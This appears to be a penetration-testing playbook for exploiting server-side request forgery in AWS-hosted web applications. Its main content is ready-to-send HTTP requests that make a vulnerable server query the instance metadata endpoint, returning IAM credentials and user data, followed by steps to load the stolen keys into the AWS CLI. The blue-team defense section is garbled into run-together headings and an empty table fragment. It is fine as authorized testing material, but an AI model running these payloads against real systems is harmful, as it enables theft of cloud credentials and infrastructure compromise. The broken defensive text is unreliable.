AWS IMDS SSRF Exploitation

When to Use

• During a penetration test of a web application hosted on AWS EC2 or ECS that exhibits SSRF vulnerabilities.
• To demonstrate impact by escalating from a web vulnerability to AWS cloud infrastructure compromise via IAM credential theft.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying the SSRF

# Concept: Test the target application for SSRF GET /fetch_url?url=http://example.com HTTP/1.1
Host: target.app

Phase 2: Querying AWS IMDSv1

# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: target.app

Phase 3: Extracting IAM Roles and Credentials

# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1

# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole HTTP/1.1

(The response will contain a JSON object with AccessKeyId, SecretAccessKey, and Token)

Phase 4: Accessing User Data

# # GET /fetch_url?url=http://169.254.169.254/latest/user-data HTTP/1.1

(User Data often contains sensitive initialization scripts, database passwords, or API keys).

Decision Point 🔀

flowchart TD
    A[Send IMDS Payload ] --> B{Response 200 OK? }
    B -->|Yes| C[Extract Data ]
    B -->|No/401| D[IMDSv2 Enforced? ]
    C --> E[Configure AWS CLI ]

🔵 Blue Team Detection & Defense

• Migrate to IMDSv2: Network Restrictions: Least Privilege IAM: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Aws Metadata Ssrf — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• AWS Docs: Instance Metadata Service
• Rhino Security Labs: AWS IAM Privilege Escalation